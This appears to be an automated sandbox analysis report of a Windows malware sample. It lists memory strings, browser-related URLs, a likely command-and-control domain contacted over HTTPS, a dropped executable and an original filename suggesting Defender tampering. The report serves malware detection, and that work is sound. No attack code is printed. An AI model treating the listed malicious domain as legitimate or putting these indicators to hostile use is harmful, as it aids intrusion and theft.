Source: file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.2631319784.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000000.00000003.2442525870.0000000001696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/1
Source: file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/9
Source: file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/I
Source: file.exe, file.exe, 00000000.00000003.2442525870.0000000001696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330968991.000000000168E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2431174665.000000000168E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2431334331.0000000001692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.2578966180.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2431542269.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apie
Source: file.exe, 00000000.00000003.2431542269.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/l
Source: file.exe, 00000000.00000003.2090886787.000000000167C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/o
Source: file.exe, file.exe, 00000000.00000002.2640749220.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2632701808.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2578966180.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: file.exe, 00000000.00000003.2578966180.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apiicrosoft
Source: file.exe, 00000000.00000003.2243126492.0000000006139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2243126492.0000000006139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2243126492.0000000006139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2243126492.0000000006139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2243126492.0000000006139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2243126492.0000000006139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2243126492.0000000006139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2243126492.0000000006139000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49907 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: V6JTG9Z5Z4ZAMITLFW.exe.0.dr	Static PE information: section name:
Source: V6JTG9Z5Z4ZAMITLFW.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A369	0_3_0169A369
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A369	0_3_0169A369
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A369	0_3_0169A369
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A2A0	0_3_0169A2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A2A0	0_3_0169A2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A2A0	0_3_0169A2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A369	0_3_0169A369
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A369	0_3_0169A369
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A369	0_3_0169A369
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A2A0	0_3_0169A2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A2A0	0_3_0169A2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A2A0	0_3_0169A2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A369	0_3_0169A369
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A369	0_3_0169A369
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A369	0_3_0169A369
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_016A16CF	0_3_016A16CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A2A0	0_3_0169A2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A2A0	0_3_0169A2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0169A2A0	0_3_0169A2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0161DBFE	0_3_0161DBFE
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Code function: 4_2_00AB6490	4_2_00AB6490

Source: file.exe, 00000000.00000003.2632125331.0000000005E2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2606546123.0000000005F7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2624015824.00000000062C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2615528041.00000000062BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2615677740.00000000063B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2613198128.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2613786779.0000000006384000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2631099810.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2631800271.000000000166D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2612661217.000000000637D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2613669217.00000000062B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2620098912.00000000062BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2619039059.00000000062B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2631889341.0000000005F12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611249417.00000000062BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2606546123.0000000005F39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2620592510.00000000062B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2617833954.00000000063BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2621266979.00000000063F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2615265980.00000000063B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2613083939.0000000006391000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610029515.00000000062B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2614383496.0000000006395000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2619773993.00000000062C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2622624939.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2618140800.00000000063B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610376316.0000000006355000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2619945639.00000000063D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2614875079.00000000062C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2612444605.00000000062B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610268105.00000000062B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2609810590.00000000062B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611349870.0000000006367000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2620758184.00000000063D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2616388002.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2631178151.0000000005EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2626236626.00000000062BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2617987949.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2630942986.0000000005F39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611767512.00000000062B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2617362452.00000000062BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2612811813.0000000006450000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2625900744.0000000006411000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2616683643.00000000063AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610684028.000000000640A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2621095226.00000000062BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2622448643.0000000006528000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2618354361.00000000064C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2613434198.00000000062B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611544155.0000000006364000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2625534863.00000000062B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2621568974.00000000063E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2618587119.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2624778481.00000000062BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2613314819.0000000006384000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2623844670.000000000653A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2609676573.000000000635D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2631319784.000000000167D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2609013178.0000000006121000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2619634632.00000000064ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2617522148.00000000063C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2617054461.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610919690.000000000636E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610146846.0000000006353000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2608863020.0000000005FC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611661408.0000000006420000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2619236640.00000000063CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2622287460.00000000063ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2615401420.00000000064B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2614132748.000000000639D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2614506648.000000000647A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2613550129.000000000638D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611030619.00000000062B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2623126717.00000000063FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2621400380.00000000062B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2609387408.00000000062C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610475152.00000000062B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611880587.000000000637F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2616885006.00000000064A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2614622165.00000000062BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2622131437.00000000062B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2612940930.00000000062BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2614750797.00000000063A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2625193355.000000000640B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611448018.00000000062B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2618782059.00000000063C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2609173912.00000000062B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2620924218.00000000064F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2623685632.00000000063F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2615146924.00000000062BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2615007907.00000000063A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2611132835.0000000006370000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610800828.00000000062BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2623297534.00000000062BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2609909395.0000000006359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2621985043.00000000063EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2617682363.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2617209865.00000000063C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2606546123.0000000005FC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2610591493.000000000635D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2613914042.0000000006459000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2621824836.00000000062B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2624430023.000000000640C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2612112581.00000000062B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2620263410.00000000063DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2609298146.0000000006118000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2614038097.00000000062B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
